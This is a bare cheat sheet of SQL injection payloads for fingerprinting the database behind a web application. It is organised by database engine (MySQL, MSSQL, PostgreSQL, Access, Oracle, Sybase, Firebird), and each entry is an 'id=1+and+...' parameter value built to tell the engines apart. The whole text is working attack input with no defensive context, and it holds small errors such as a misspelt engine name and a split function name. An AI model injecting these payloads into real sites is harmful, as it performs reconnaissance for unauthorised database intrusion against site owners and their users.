MySQL
id=1+procedure+analyse()
id=1+and+concat_ws(1,1)=1
id=1+and+connection_id()=connection_id()
MSSQL
id=1+and+len(@@version)=len(@@version)
id=1+and+(@@TEXTSIZE>@@LANGID)
PostgerSQL
id=1+and+1=1::int
id=1+and+pg_backend_pid()=pg_backend_pid()
id=1+and+5432=inet_server_port()
Access
id=1+and+1=StrConv(1,1)
id=1+and+Sgn(1)=Sgn(1)
Oracle
id=1+and+instr4(1,1,1,1)=1
id=1+and+rownum=rownum
Sybase
id=1+and+inttohex(10)=inttohex(10)
Interbase/Firebird
id=1+and+GEN_UUID()!=GEN_UUID()
(uuid_to_char() и char_to_uuid()) // Firebird 2.5
id=1+and+UUID_TO_CHAR(GEN_UUID())!=UUID_TO_CHAR(GE N_UUID())
